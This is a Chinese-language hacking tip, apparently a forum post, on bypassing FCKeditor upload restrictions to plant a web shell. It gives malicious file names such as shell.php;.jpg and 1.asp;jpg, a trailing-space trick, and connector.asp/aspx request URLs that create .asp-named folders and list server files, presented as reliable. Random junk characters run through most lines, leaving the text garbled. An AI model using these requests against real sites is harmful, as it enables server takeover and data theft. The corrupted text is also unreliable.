很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg
2 U9 U2 A+ E. `3 X, }6 P
, x5 l t5 v; Z/ l5 N" x8 L' d提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。3 K/ L6 S$ O7 y+ V% e5 U4 ]
- n: i3 ?; Y. P继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。- Z- C$ j( e& T V& i
; V- J7 L- i$ i4 G; \/ y, d突破建立文件夹:' |, n+ j6 s5 v; ~. p3 P5 {
6 R; r( y& C `; t
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp$ ~% u& {0 y9 a
+ D/ {& J' B) [( V. Y参数:- y; Z4 S% r& c
' D8 {; ~! x' a: t% I+ ^! X当前目录名:CurrentFolder=/qing.asp
$ u+ h" [' H& i/ M `+ d) u1 {5 |4 H
) K* h. r, Z/ t; o/ O) v8 s新的目录名:NewFolderName=x.asp
- |1 `) O, _4 q/ H& j1 o! _2 o: b" y4 \$ j* R) d/ M0 D# T" `. @0 U+ _
其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……. L7 a% H" r9 d! q
% ^6 q7 r6 \% y3 K% m& g那么 x.asp 就已经建立生成了,此方法百试百灵!
, J0 u/ J" r9 n& z) v. J) J. Z- a
新建文件夹参数 x.asp,基本都能搞定。6 j& @! `/ q n
& L3 O: J: H9 ?' x下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建2 o- V D/ }4 X3 G4 ^/ t' r/ [; r
$ \0 o$ [0 [0 [. a5 e- Haspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp
, y8 H; I5 A7 S" t/ J# C) u+ i: F
9 E; i+ P1 g4 [- L( J( Q获取文件列表1 X: \$ A( n- ^8 V
aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F0 n# Z6 ^: U9 m2 w! H9 {
* Y, a! @3 W' z1 S |